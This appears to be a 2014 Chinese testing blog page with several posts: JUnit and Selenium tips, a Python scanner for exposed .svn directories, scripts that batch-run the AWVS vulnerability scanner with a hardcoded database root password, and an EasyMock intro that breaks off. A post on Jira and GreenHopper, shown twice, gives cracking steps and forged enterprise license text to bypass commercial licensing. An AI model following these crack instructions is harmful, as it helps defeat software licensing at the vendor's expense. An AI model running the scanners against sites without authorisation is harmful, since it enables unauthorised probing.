  ① 准备使用参数化测试的测试类必须由org.junit.runners.Parameterized 运行器修饰
  ② 准备数据。数据的准备需要在一个方法中进行,该方法需要满足的要求如下
  1) 该方法必须由org.junit.runners.Parameterized.Parameters注解 修饰
  2) 该方法必须为返回值是java.util.Collection 类型的public  static方法
  3) 该方法没有参数 ,方法名可随意 。并且该方法是在该类实例化之前执行的
  ③ 为测试类声明几个变量 ,分别用于存放期望值和测试所用的数据
  ④ 为测试类声明一个带有参数的公共构造函数 ,并在其中为③ 中声明的变量赋值
  ⑤ 编写测试方法,使用定义的变量作为参数进行测试
  参数化测试的缺点
  一般来说,在一个类里面只执行一个测试方法。因为所准备的数据是无法共用的
  这就要求,所要测试的方法是大数据量的方法,所以才有必要写一个参数化测试
  而在实际开发中,参数化测试用到的并不是特别多
  下面是JUnit4.x中参数化测试的示例代码
  首先是Calculator.java
package com.jadyer.junit4;
/**
* 数学计算-->加法
*/
public class Calculator {
public int add(int a, int b) {
return a + b;
}
}
  然后是JUnit4.x的参数化测试类ParameterTest.java
package com.jadyer.junit4;
import static org.junit.Assert.assertEquals; //静态导入
import java.util.Arrays;
import java.util.Collection;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
import com.jadyer.junit4.Calculator;
/**
* JUnit4的参数化测试
*/
@RunWith(Parameterized.class)
public class ParameterTest {
private int expected;
private int input11;
private int input22;
public ParameterTest(int expected, int input11, int input22){
this.expected = expected;
this.input11 = input11;
this.input22 = input22;
}
@Parameters
public static Collection prepareData(){
//该二维数组的类型必须是Object类型的
//该二维数组中的数据是为测试Calculator中的add()方法而准备的
//该二维数组中的每一个元素中的数据都对应着构造方法ParameterTest()中的参数的位置
//所以依据构造方法的参数位置判断,该二维数组中的第一个元素里面的第一个数据等于后两个数据的和
//有关这种具体的使用规则,请参考JUnit4的API文档中的org.junit.runners.Parameterized类的说明
Object[][] object = {{3,1,2}, {0,0,0}, {-4,-1,-3}, {6,-3,9}};
return Arrays.asList(object);
}
@Test
public void testAdd(){
Calculator cal = new Calculator();
assertEquals(expected, cal.add(input11, input22));
}
}
/********************【该测试的执行流程】************************************************************************/
//1..首先会执行prepareData()方法,将准备好的数据作为一个Collection返回
//2..接下来根据准备好的数据调用构造方法。Collection中有几个元素,该构造方法就会被调用几次
//   我们这里Collection中有4个元素,所以ParameterTest()构造方法会被调用4次,于是会产生4个该测试类的对象
//   对于每一个测试类的对象,都会去执行testAdd()方法
//   而Collection中的数据是由JUnit传给ParameterTest(int expected, int input11, int input22)构造方法的
//   于是testAdd()用到的三个私有参数,就被ParameterTest()构造方法设置好值了,而它们三个的值就来自于Collection
/************************************************************************************************************/

posted @ 2014-12-23 00:07 顺其自然EVO 阅读(658) | 评论 (0)编辑 收藏

svn信息泄漏探测工具(新手学python)

快放假了,比较闲,写了个svn信息泄漏的探测工具,严格意义上说和wwwscan功能差不多,判断是否存在/.svn/等目录,贴上代码:
#coding:utf-8
import sys
import httplib2
if len(sys.argv)<2:
print 'Usag:'+"svnscan.py"+" host"
sys.exit()
#判断输入url是否是http开头
if sys.argv[1].startswith('http://'):
host=sys.argv[1]
else:
host="http://"+sys.argv[1]
#访问一个不存在的目录,将返回的status和content-length做为特征
status=''
contentLen=''
http=httplib2.Http()
dirconurl=host+'/nodirinthiswebanx4dm1n/'
dirresponse=http.request(dirconurl,'GET')
status=dirresponse[0].status
contentLen=dirresponse[0].get('content-length')
#字典中保存svn的常见目录,逐个访问和特征status、content-length进行比对
f=open(r'e:\svnpath.txt','r')
pathlist=f.readlines()
def svnscan(subpath):
for svnpath in pathlist:
svnurl=host+svnpath.strip('\r\n')
response=http.request(svnurl,'GET')
if response[0].status!=status and response[0].get('content-length')!=contentLen:
print "vuln:"+svnurl
if __name__=='__main__':
svnscan(host)
f.close()
  svnpath.txt文件中保存的常见的svn版本控制的目录路径等,借鉴了某大婶的思路,根据返回的状态码、content-length跟一个不存在的目录返回的状态码、content-length进行比对,主要目的是确保判断的准确性,因为有些站点可能会有404提示页等等。
  目前只能想到的是存在svn目录,且权限设置不严格的,所以这个程序应该是不能准确判断是否存在漏洞,只能探测是否存在svn的目录。
  不知道还有其它的办法来确认一个站点是否存在svn目录?目录浏览返回的状态应该也是200?还是有另外的状态码?

posted @ 2014-12-23 00:02 顺其自然EVO 阅读(511) | 评论 (0)编辑 收藏

Python实现Awvs自动化扫描

 最近再做一个python的小程序,主要功能是实现Acuenetix Web Vulnerability Scanner的自动化扫描,批量对一些目标进行扫描,然后对扫描结果写入mysql数据库。写这篇文章,分享一下一些思路。
  程序主要分三个功能模块,Url下载、批量扫描、结果入库,
  有一个另外独立的程序,在流量镜像服务器上进行抓包,抓取Http协议的包,然后对包进行筛选处理,保留一些带有各种参数的url,然后对url进行入库。url下载功能主要是从mysql数据库中下载url。
  批量扫描功能主要调用了Awvs的命令行wvs_console.exe,调研的时候先是尝试用awvs计划任务来实现批量扫描,但是发现在将一些awvs设置发包给计划任务的时候会遇到各种困难,计划任务貌似也不是一个网页,采用的是XML模版,技术有限,最后没实现,只好放弃。
  之后发现Awvs支持命令行,wvs_console.exe就是主程序,有很多命令参数,基本能实现Awvs界面操作的所有功能。批量扫描主要是读取下载到本地的url,进行逐一扫描。要将扫描结果保存到本地access数据库文件,需要使用savetodatabase参数。
  Awvs会自动将扫描结果保存到本地的access数据库中,具体的表是Wvs_alerts,也可以设置保存到Mssql数据库中,具体的是在Application Setting进行设置。结果入库模块的功能是从access数据库筛选出危害等级为3的漏洞,然后将它们写入到mysql数据库。主要用了正则表达式对request中的host,漏洞文件,get或post提交的请求进行筛选拼凑,获取到完整的漏洞测试url。
  贴上代码,很菜,代码各种Bug,最主要的是程序的整个流程设计存在问题,导致后来被大佬给否掉了,没有考虑到重复扫描和程序异常中止的情况,导致我的程序只能一直运行下去 ,否则重新运行又会从头对url进行扫描。
  对此很郁闷,某天晚上下班回家想了想,觉得可以通过以下方法来解决以上两个问题:
  Awvs扫描结果数据库中有一个Wvs_scans表,保存的都是扫描过的url,以及扫描开始时间和结束时间。可以将当天下载的url保存到一个list中,然后在扫描之前先将之前所有扫描过的URL查询出来,同样保存在list中,读取list中的url,判断是否在扫描过的URL list中,如果存在将之从url list中删除掉;如果不存在则再进行扫描。
  异常中止的话貌似只能增加系统计划任务,每天结束再打开,不知道如何时时监视系统进程,通过是否存在wvs的进程来判断。
  以上只是一个大概的程序介绍,贴上代码,代码可能存在一些问题,有兴趣的童鞋去完善完善,大佬觉得我的效率和编码能力有待提高,so,让继续学习,所以没再继续跟进这个项目。
  downurl.py 代码:
#coding:utf-8
import MySQLdb
import os,time,shutil
import hashlib,re
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
#filetype='.txt'
#urlfilename=datanow+filetype
#path="D:\wvscan\url\\"
#newfile=path+urlfilename
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
con=MySQLdb.Connect('10.1.1.1','root','12345678','wvsdb')
cur=con.cursor()
sqlstr='select url from urls where time like %s'
values=datanow+'%'
cur.execute(sqlstr,values)
data=cur.fetchall()
#将当天的URL保存到本地url.txt文件
f=open(r'd:\Wvscan\url.txt','a+')
uhfile=open(r'd:\Wvscan\urlhash.txt','a+')
line=uhfile.readlines()
#保存之前对url进行简单的处理,跟本地的hash文件比对,确保url.txt中url不重复
for i in range(0,len(data)):
impurl=str(data[i][0]).split('=')[0]
urlhash=hashlib.new('md5',impurl).hexdigest()
urlhash=urlhash+'\n'
if urlhash in line:
pass
else:
uhfile.write(urlhash)
newurl=str(data[i][0])+'\n'
f.writelines(newurl)
cur.close()
con.close()
抓包程序抓到的url可能重复率较高,而且都是带参数的,保存到本地的时候截取了最前面的域名+目录+文件部分进行了简单的去重。Awvs可能不大适合这样的方式,只需要将全部的域名列出来,然后逐一扫描即可,site Crawler功能会自动爬行。
  writeinmysql.py 结果入库模块,代码:
#coding:UTF-8
import subprocess
import os,time,shutil,sys
import win32com.client
import MySQLdb
import re,hashlib
reload(sys)
sys.setdefaultencoding('utf-8')
#需要先在win服务器设置odbc源,指向access文件。实际用pyodbc模块可能更好一些
def writeinmysql():
conn = win32com.client.Dispatch(r'ADODB.Connection')
DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
conn.Open('awvs')
cur=conn.cursor()
rs = win32com.client.Dispatch(r'ADODB.Recordset')
rs.Open('[WVS_alerts]', conn, 1, 3)
if rs.recordcount == 0:
exit()
#遍历所有的结果,cmp进行筛选危害等级为3的,也就是高危
while not rs.eof:
severity = str(rs('severity'))
if cmp('3', severity):
rs.movenext
continue
vultype = rs('algroup')
vulfile=rs('affects')
#由于mysql库中要求的漏洞类型和access的名称有点差别,所以还需要对漏洞类型和危害等级进行二次命名,sql注入和xss为例
xss='Cross site'
sqlinject='injection'
if xss in str(vultype):
vultype='XSS'
level='低危'
elif sqlinject in str(vultype):
vultype="SQL注入"
level='高危'
else:
level='中危'
#拼凑出漏洞测试url,用了正则表达式, post和get类型的request请求是不同的
params = rs('parameter')
ss = str(rs('request'))
str1 = ss[0:4]
if 'POST'== str1:
requestType = 'POST'
regex = 'POST (.*?) HTTP/1\.\d+'
str1 = re.findall(regex, ss);
else:
requestType = 'GET'
regex = 'GET (.*?) HTTP/1\.\d+'
str1 = re.findall(regex, ss);
regex = 'Host:(.*?)\r\n'
host = re.findall(regex, ss);
if host == []:
host = ''
else:
host = host[0].strip()
if str1 == []:
str1 = ''
else:
str1 = str1[0]
url =host + str1
timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))
status=0
scanner='Awvs'
comment=''
db = MySQLdb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8')
cursor = db.cursor()
sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)'
values =[status,comment,vultype,'http://'+url.lstrip(),host,params,level,scanner]
#入库的时候又进行了去重,确保mysql库中没有存在该条漏洞记录,跟本地保存的vulhash进行比对,感觉这种方法很原始。
hashvalue=str(values[2])+str(values[4])+str(vulfile)+str(values[5])
vulhash=hashlib.new('md5',hashvalue).hexdigest()
vulhash=vulhash+'\n'
file=open(r'D:\Wvscan\vulhash.txt','a+')
if vulhash in file.readlines():
pass
else:
file.write(vulhash+'\n')
cursor.execute(sql, values)
delsql='delete from vuls where vultype like %s or vultype like %s'
delvaluea='Slow HTTP%'
delvalueb='Host header%'
delinfo=[delvaluea,delvalueb]
cursor.execute(delsql,delinfo)
db.commit()
rs.movenext
rs.close
conn.close
cursor.close()
db.close()
if __name_=='__main__':
writeinmysql()
time.sleep(10)
#备份每天的扫描数据库,用原始数据库替换,方便第二天继续保存。
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
filetype='.mdb'
urlfilename=datanow+filetype
path="D:\wvscan\databak\\"
databakfile=path+urlfilename
shutil.copyfile(r'D:\Wvscan\data\vulnscanresults.mdb',databakfile)
shutil.copyfile(r'D:\Wvscan\vulnscanresults.mdb',r'D:\Wvscan\data\vulnscanresults.mdb')
  startwvs.py,扫描模块,这个模块问题较多,就是之前提到的,没有考虑重复扫描和异常终止的问题,贴上代码:
#coding:utf-8
import subprocess
import os,time,shutil
file=open(r"D:\Wvscan\url.txt","r")
def wvsscan():
for readline in file:
url=readline.strip('\n')
cmd=r"d:\Wvs\wvs_console.exe /Scan "+url+r" /SavetoDatabase"
doscan=subprocess.Popen(cmd)
doscan.wait()
if __name__=='__main__':
wvsscan()
English »
 
Text-to-speech function is limited to 100 characters

posted @ 2014-12-23 00:01 顺其自然EVO 阅读(1170) | 评论 (0)编辑 收藏

Selenium中常用的xpath

 selenium大部分的方法参数都是java.lang.String locator,假如我们想传入xptah表达式,可以在表达式的开头加上"xpath=",也可以不加.如下面的两个效果是一样的.
  selenium.getAttribute("//tr/input/@type")  === selenium.getAttribute("xpath=//tr/input/@type")
  selenium中有一个比较特别而非常有用的方法
  java.lang.Number getXpathCount(java.lang.String xpath)
  通过此方法我们可以得到所有匹配xpath的数量,调用此方法,传入的表达式就不能以"xpath="
  开头.
  另外需要知道的是:当xpath表达式匹配到的内容有多个时,seleium默认的是取第一个,假如,我们想
  自己指定第几个,可以用"xpath=(xpath表达式)[n]"来获取,例如:
  selenium.getText("//table[@id='order']//td[@contains(text(),'删除')]");
  在id为order的table下匹配第一个包含删除的td.
  selenium.getText("xpath=(//table[@id='order']//td[@contains(text(),'删除')])[2]");
  匹配第二个包含删除的td.
  在调试xpath的时候,我们可以下个firefox的xpath插件,这样可以在页面上通过右键开启xpath插件.
  然后随时可以检验xpath所能匹配的内容,非常方便.假如通过插件测试的xpath表达式可以匹配
  到预期的内容,但是放到selenium中跑却拿不到,那么最有可能出现的问题是:在你调用seleium方法
  时,传入的xpath表达式可能多加了或者是少加了"xpath=".
  以下为几个常用的xpath:
  1.selenium.getAttribute("//tr/input/@type")
  2.selenium.isElementPresent("//span[@id='submit' and @class='size:12']");
  3.selenium.isElementPresent("//tr[contains(@sytle,'display:none')]");
  4.selenium.isElementPresent("//*[contains(name(),'a')]"); //这个等价于 //a
  5.selenium.isElementPresent("//tr[contains(text(),'金钱')]");

posted @ 2014-12-23 00:00 顺其自然EVO 阅读(1352) | 评论 (0)编辑 收藏

Selenium WebDriver之JavaScript

WebDriver提供了方法来同步/异步执行JavaScript代码,这是因为JavaScript可以完成一些WebDriver本身所不能完成的功能,从而让WebDriver更加灵活和强大。
  本文中所提到的都是JAVA代码。
  1. 在WebDriver中如何执行JavaScript代码
  JavaScript代码总是以字符串的形式传递给WebDriver,不管你的JavaScript代码是一行还是多行,WebDriver都可以用executeScript方法来执行字符串中包含的所有JavaScript代码。
  WebDriver driver = new FirefoxDriver();
  JavascriptExecutor driver_js=(JavascriptExecutor)driver;
  String js = "alert(\"Hello World!\");";
  driver_js.executeScript( js);
  2.同步执行JavaScript和异步执行JavaScript的区别
  同步执行:driver_js.executeScript( js)
  如果JavaScript代码的执行时间较短,可以选择同步执行,因为Webdriver会等待同步执行的结果,然后再运行其它的代码。
  异步执行:driver_js.executeAsyncScript(js)
  如果JavaScript代码的执行时间较长,可以选择异步执行,因为Webdriver不会等待其执行结果,而是直接执行下面的代码。
  3. 用Javascript实现等待页面加载的功能
  public void waitForPageLoad() {
  While(driver_js.executeScript("return document.readyState" ).equals ("complete")){
  Thread.sleep(500);
  }
  }
  这样做的缺点是,没有设定timeout时间,如果页面加载一直不能完成的话,那么代码也会一直等待。当然你也可以为while循环设定循环次数,或者直接采用下面的代码:
protected Function<WebDriver, Boolean> isPageLoaded() {
return new Function<WebDriver, Boolean>() {
@Override
public Boolean apply(WebDriver driver) {
return ((JavascriptExecutor) driver).executeScript("returndocument.readyState").equals("complete");
}
};
}
public voidwaitForPageLoad() {
WebDriverWait wait = new WebDriverWait(driver, 30);
wait.until(isPageLoaded());
}
  需要指出的是单纯的JavaScript是很难实现等待功能的,因为JavaScript的执行是不阻塞主线程的,你可以为指定代码的执行设定等待时间,但是却无法达到为其它WebDriver代码设定等待时间的目的。有兴趣的同学可以研究一下。
  4. Javascrpt模拟点击操作,并触发相应事件
  String js ="$(\"button.ui-multiselect.ui-widget\").trigger(\"focus\");"
  +"$(\"button.ui-multiselect.ui-widget\").click();"
  +"$(\"button.ui-multiselect.ui-widget\").trigger(\"open\");";
  ((JavascriptExecutor)driver).executeScript( js);
  5. Javacript scrollbar的操作
  String js ="var obj = document.getElementsById(\“div_scroll\”);”
  +”obj.scrollTop= obj.scrollHeight/2;”
  ((JavascriptExecutor)driver).executeScript(js);

6. Javascript重写confirm
  String js ="window.confirm = function(msg){ return true;}”
  ((JavascriptExecutor)driver).executeScript( js);
  通过执行上面的js,该页面上所有的confirm将都不再弹出。
  7. 动态载入jquery
  并不是所有的网页都引入了Jquery,如果我们要在这些网页上执行Jquery代码,就必须动态加载Jquery source文件
  driver.get("file:///C:/test.html");
  boolean flag =(boolean)(driver_js).executeScript("return typeof jQuery =='undefined'");
  if (flag)
  {
  driver_js.executeScript("var jq =document.createElement('script');"
  + "jq.type ='text/javascript'; "
  +"jq.src ='http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js';"
  +"document.getElementsByTagName('head')[0].appendChild(jq);");
  Thread.sleep(3000);
  }
  waiter.waitForPageLoad();
  driver_js.executeScript("$(\"input#testid\").val(\"test\");");
  8. 判断元素是否存在
  可以通过下面的办法来判断页面元素是否存在,但是缺点就是如果元素不存在,必须在抛出exception后才能知道,所以会消耗一定的时间(需要超时后才会抛出异常)。
boolean ElementExist(By Locator){
try{
driver.findElement(Locator);
return true;
}
catch(org.openqa.selenium.NoSuchElementException ex)
{
return false;
}
}
  也许我们可以在JavaScript中判断页面元素是否存在,然后再将结果返回给Webdriver的Java代码。
  页面元素
  String js =" if(document.getElementById("XXX")){ return true; } else{ return false; }”
  String result = ((JavascriptExecutor)driver).executeScript(js);
  或者
  表单元素
  String js =" if(document.theForm.###){return true; } else{ return false; }”
  String result = ((JavascriptExecutor)driver).executeScript(js);
  9. 结尾
  JavaScript在WebDriver中还可以做很多事情,但这还不是全部。比如,我们是否可以编写代码来监视在整个Webdrvier测试代码运行过程是否产生过JavaScriptError呢,答案是肯定的,有兴趣的同学可以深入研究一下。

posted @ 2014-12-22 23:57 顺其自然EVO 阅读(609) | 评论 (0)编辑 收藏

Jira5.0+greenhopper6.1.6的安装

字体:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推荐标签: 软件测试工具 JIRA

  这种文章其实不太想写,更愿意找一篇然后添加到自己的有道笔记里面收藏,但网上找的真心让我上火。
  不过不得不说一下,中国人真的很牛B,这软件啊,只要咱们想用,就肯定有人破解。对于做程序员的我来说,这是不是一种悲哀呢?用一个笑话来开题吧:
  A:你们能不能不要这样?支持一下正版好不好?程序员也是要养家的
  B:程序员哪来的家?
  开始正题:
  首先jira就装5.0的吧,比这个版本高的通过网上找的方法也是可以破解的,但是插件管理是不可以用的。
  其实上火的就在这个地方,最刚开始是要搭一个jira+wiki。找了一个看到jira5.1.5+confluence5.3安装、破解、汉化一条龙服务的文档,于是屁颠屁颠的开始了。可是装上之后,怎么也找不到Jira中文代理上面看到的一种面板:Agile,后来自己点着点着,发现这是一个插件就是题目中提到的greenhopper。
  于是就开始各种安装啊,但是插件管理页面上面总有一行红字,意思就是说授权信息不对之类的。于是就开始找各种版本。
  吐糟的话就不多说了,下面开始正题了:
  Jira安装(简单说明):
  1.下载5.0windows安装版
  2.安装,下一步到需要输入授权的地方
  3.关闭Jira服务(开始—>程序—>Jira—>Stop…)
  Jira破解:
  1.下载破解文件
  2.将文件夹直接与Jira_home\atlassian-jira下的Web-Inf合并
  3.开始Jira服务(开始—>程序—>Jira—>Start…)
  4.Jira license如下,其实ServerID需要改成你需要输入授权信息页上面显示的那个ServerID,别的维持原状就行。
Description=JIRA\: longmaster
CreationDate=2010-02-22
ContactName=zzhcool@126.com
jira.LicenseEdition=ENTERPRISE
ContactEMail=zzhcool@126.com
Evaluation=false
jira.LicenseTypeName=COMMERCIAL
jira.active=true
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzh
jira.NumberOfUsers=-1
ServerID=B25B-ZTQQ-8QU3-KFBS
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25

Jira汉化:
  1.下载汉化包
  2.将汉化包复制到:安装目录\Application Data\JIRA\plugins\installed-plugins
  3.关闭Jira服务,再开启Jira服务就行了
  GreenHopper安装和破解:
  1.下载GreenHopper
  2.用管理员登录Jira
  3.点击右上角的"Administrator"
  4.选择插件(Plugins)
  5.点击install
  6.上传插件
  7.点击Manage Existing
  8.找到GreenHopper,点config
  9.输入如下内容,点add
Description=GreenHopper for JIRA 4\: longmaster
CreationDate=2010-02-21
ContactName=zzhcool@126.com
greenhopper.NumberOfUsers=-1
greenhopper.LicenseTypeName=COMMERCIAL
ContactEMail=zzhcool@126.com
Evaluation=false
greenhopper.LicenseEdition=ENTERPRISE
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzhcool
greenhopper.active=true
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
  10.汉化的方式与jira的汉化方式一样,暂时还没有汉化的想法(我的jira也没有汉化),可以自己去网上
  总结:
  不论你是否会用这个做为项目管理软件,都应该看一下jira和confluence的软件设计,名门出身就是不一样~~~使用文档过两天项目不太紧的时候再来看怎样用吧,最近需要先Coding。

posted @ 2014-12-22 23:56 顺其自然EVO 阅读(361) | 评论 (0)编辑 收藏

Jira5.0+greenhopper6.1.6的安装

字体:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推荐标签: 软件测试工具 JIRA

  这种文章其实不太想写,更愿意找一篇然后添加到自己的有道笔记里面收藏,但网上找的真心让我上火。
  不过不得不说一下,中国人真的很牛B,这软件啊,只要咱们想用,就肯定有人破解。对于做程序员的我来说,这是不是一种悲哀呢?用一个笑话来开题吧:
  A:你们能不能不要这样?支持一下正版好不好?程序员也是要养家的
  B:程序员哪来的家?
  开始正题:
  首先jira就装5.0的吧,比这个版本高的通过网上找的方法也是可以破解的,但是插件管理是不可以用的。
  其实上火的就在这个地方,最刚开始是要搭一个jira+wiki。找了一个看到jira5.1.5+confluence5.3安装、破解、汉化一条龙服务的文档,于是屁颠屁颠的开始了。可是装上之后,怎么也找不到Jira中文代理上面看到的一种面板:Agile,后来自己点着点着,发现这是一个插件就是题目中提到的greenhopper。
  于是就开始各种安装啊,但是插件管理页面上面总有一行红字,意思就是说授权信息不对之类的。于是就开始找各种版本。
  吐糟的话就不多说了,下面开始正题了:
  Jira安装(简单说明):
  1.下载5.0windows安装版
  2.安装,下一步到需要输入授权的地方
  3.关闭Jira服务(开始—>程序—>Jira—>Stop…)
  Jira破解:
  1.下载破解文件
  2.将文件夹直接与Jira_home\atlassian-jira下的Web-Inf合并
  3.开始Jira服务(开始—>程序—>Jira—>Start…)
  4.Jira license如下,其实ServerID需要改成你需要输入授权信息页上面显示的那个ServerID,别的维持原状就行。
Description=JIRA\: longmaster
CreationDate=2010-02-22
ContactName=zzhcool@126.com
jira.LicenseEdition=ENTERPRISE
ContactEMail=zzhcool@126.com
Evaluation=false
jira.LicenseTypeName=COMMERCIAL
jira.active=true
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzh
jira.NumberOfUsers=-1
ServerID=B25B-ZTQQ-8QU3-KFBS
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25

Jira汉化:
  1.下载汉化包
  2.将汉化包复制到:安装目录\Application Data\JIRA\plugins\installed-plugins
  3.关闭Jira服务,再开启Jira服务就行了
  GreenHopper安装和破解:
  1.下载GreenHopper
  2.用管理员登录Jira
  3.点击右上角的"Administrator"
  4.选择插件(Plugins)
  5.点击install
  6.上传插件
  7.点击Manage Existing
  8.找到GreenHopper,点config
  9.输入如下内容,点add
Description=GreenHopper for JIRA 4\: longmaster
CreationDate=2010-02-21
ContactName=zzhcool@126.com
greenhopper.NumberOfUsers=-1
greenhopper.LicenseTypeName=COMMERCIAL
ContactEMail=zzhcool@126.com
Evaluation=false
greenhopper.LicenseEdition=ENTERPRISE
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzhcool
greenhopper.active=true
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
  10.汉化的方式与jira的汉化方式一样,暂时还没有汉化的想法(我的jira也没有汉化),可以自己去网上
  总结:
  不论你是否会用这个做为项目管理软件,都应该看一下jira和confluence的软件设计,名门出身就是不一样~~~使用文档过两天项目不太紧的时候再来看怎样用吧,最近需要先Coding。

posted @ 2014-12-22 23:55 顺其自然EVO 阅读(259) | 评论 (0)编辑 收藏

测试Web应用程序的基本要素

  今天,每个人都依赖用于商业,教育和交易目的各类网站。网站涉及到互联网。人们普遍认为,现如今样样工作都离不开互联网。不同类型的用户连接到网站上为了获取所需要的不同类型的信息。因此,网站应该根据用户的不同要求作出响应。与此同时,网站的正确的响应已经成为对于企业或组织而言至关重要的成功因素,因此,需要对其进行应彻底和频繁的测试
  在这里,我们将讨论通过各种方法来测试一个网站。然而,测试一个网站并不是一件容易的事,因为我们不仅需要测试客户端还需要测试服务器端。通过这些方法,我们完全可以将网站测试到只存在最少数量的错误。
  网络测试介绍:
  系统的客户端是由浏览器显示的,它通过Internet来连接网站的服务器.所有网络应用的核心都是存储动态内容的关系数据库。事务服务器控制了数据库与其他服务器(通常被称为“应用服务器”)之间的的交互。管理功能负责处理数据更新和数据库管理。
  Web应用程序的广泛架构:
  根据上述Web应用的架构,很明显,我们需要进行以下测试以确保web应用的适用性。
  1)服务器的预期负载如何,并且在该负载下服务器需要有什么样的性能。这可以包括服务器的响应时间以及数据库查询响应时间。
  2)哪些浏览器将被使用?
  3)它们有怎样的连接速度?
  4)它们是组织内部的(因此具有高连接速度和相似的浏览器)或因特网范围的(因而有各种各样的连接速度和不同的浏览器类型)?
  5)预计客户端有怎样的性能(例如,页面应该多快出现,动画,小程序等多快可以加载并运行)?
  对Web应用程序的开发生命周期进行描述时可能有许多专有名词,包括螺旋生命周期或迭代生命周期等等。用更批判的方式来描述最常见的做法是将其描述为类似软件开发初期软件工程技术引入之前的非结构化开发。在“维护阶段”往往充满了增加错失的功能和解决存在的问题。
  我们需要准备回答以下问题:
  1)是否允许存在用于服务器和内容维护/升级的停机时间?可以有多久?
  2)要求有什么样的安全防护(防火墙,加密,密码等),它应该做到什么?怎样才可以对其进行测试?
  3)互联网连接是否可靠?并且对备份系统或冗余的连接要求和测试有何影响?
  4)需要什么样的流程来管理更新网站的内容,并且对于维护,跟踪,控制页面内容,图片,链接等有何要求?
  5)对于整个网站或部分网站来说是否有任何页面的外观和图片的标准或要求?
  6)内部和外部的链接将如何被验证和更新?多频繁?
  7)将有多少次用户登录,是否需要测试?
  8)CGI程序,Applets,Javascripts,ActiveX组件等如何进行维护,跟踪,控制和测试

posted @ 2014-12-22 23:47 顺其自然EVO 阅读(668) | 评论 (0)编辑 收藏

跨浏览器测试工具推荐

有时候,在不同浏览器将下进行测试软件测试人员与项目团队的一大挑战。在所有浏览器上运行测试用例使得测试成本非常高。特别是,当我们没有专业的设计团队,或在进行页面设计过程中没有软件验证及确认的时候,更为挑战。这是不好的部分。现在,让我们来看看有什么好的部分。
  最棒的是,在市场上有许多免费或收费的跨浏览器兼容测试工具。最关键的是,大多数情况你可以用免费的工具来完成你的工作。如果你有非常特殊的要求,那么你可能需要一个收费的跨浏览器兼容测试工具。让我们简单介绍一下一些最好的工具:
  1.IETab:这是我最喜欢的和最好的免费工具之一。这基本上是一个Firefox和Chrome浏览器的插件。只需简单的单击鼠标就可以从Firefox和Chrome浏览器中看到该网页在InternetExplorer中将如何被显示。
  2.MicrosoftSuperPreview:这是微软提供的免费工具。它可以帮助你检查在各种版本的InternetExplorer下网页是如何显示的。你可以用它来测试和调试网页的布局问题。你可以在微软的网站上免费下载此工具。
  3.SpoonBrowserSandbox:您可以使用此测试工具在几乎所有主要的浏览器下测试Web应用程序,如Firefox,Chrome和Opera。最初,它也支持IE,但在过去的几个月里,它减少了对IE的支持。
  4.Browsershots:使用这个免费的浏览器兼容性测试工具,可以测试在任何平台和浏览器的组合应用。所以,它是最广泛使用的工具。然而由于浏览器和平台的大量组合,它需要很长时间才能显示结果。
  5.IETester:使用这个工具,你可以在各种Windows平台测试IE各种版本的网页,如WindowsVista,Windows7和XP。
  6.BrowserCam:这是一个收费的浏览器兼容性在线测试工具。您可以用它的试用版进行24小时200张图以内的测试。
  7.CrossBrowserTesting:这是一个完美的测试JavaScript,Ajax和Flash网站在不同浏览器中功能的工具。它提供1周免费试用。你可以在http://crossbrowsertesting.com/上下载
  8.CloudTesting:如果你想在各种浏览器上测试您的应用程序的浏览器兼容性,如IE,Firefox,Chrome,Opera,那么这个工具很适合你。
  除了这些工具,还有一些其他的工具,如IENetRenderer,Browsera,AdobeBrowserLab等,通过对这些工具进行一段时间的研究和使用,就可以达到事半功倍的效果。

posted @ 2014-12-22 23:46 顺其自然EVO 阅读(460) | 评论 (0)编辑 收藏

EasyMock构建单元测试

 1. 背景
  单元测试作为程序的基本保障。很多时候构建测试场景是一件令人头疼的事。因为之前的单元测试都是内部代码引用的,环境自给自足。开发到了一定程度,你不得不到开始调用外部的接口来完成你的功能。而外部条件是不稳定的。你为了模拟外部环境要创建各种文件、各种数据。严重影响到单元测试的效率。EasyMock应运而生,他提供了模拟的接口和类。不用费神去构建各种烦人的环境,就能开展有效的测试。
  2. 准备环境
  Easymock 3.2 + JUnit 4.11
  3. 构建测试
  a) 实际场景
  i. 你负责开发一个会计师的功能。但计算个人所得税的接口由外部提供(鬼知道项目经理是怎么想的)。
  ii. 你的代码已经开发完成了。负责开发个人所得税的接口的同事老婆生了四胞胎,天天请假带孩子。接口没写完。
  iii. 你要完成你的代码并提交测试用例。前提你个懒鬼,半点额外工作都不想做。同事老婆生孩子又不能去催。然后你在网上找到了EasyMock.......
  b) 测试代码
  i. 个人所得税的接口
/**
* Copyright ? 2008-2013, WheatMark, All Rights Reserved
*/
package com.fitweber.wheat.interfaces;
/**
* 计算个人所得税
* @author wheatmark hajima11@163.com
* @Blog http://blog.csdn.net/super2007
* @version 1.00.00
* @project wheatMock
* @file com.fitweber.wheat.interfaces.IPersonalIncomeTax.java
* @bulidDate 2013-9-1
* @modifyDate 2013-9-1
* <pre>
*    修改记录
*    修改后版本:     修改人:  修改日期:     修改内容:
* </pre>
*/
public interface IPersonalIncomeTax {
/**
* 计算个人所得税,国内,2013年7级税率
* @param income
* @param deductedBeforeTax
* @return
*/
public double calculate(double income,double deductedBeforeTax);
}
  ii. 会计师类中计算工资方法
/**
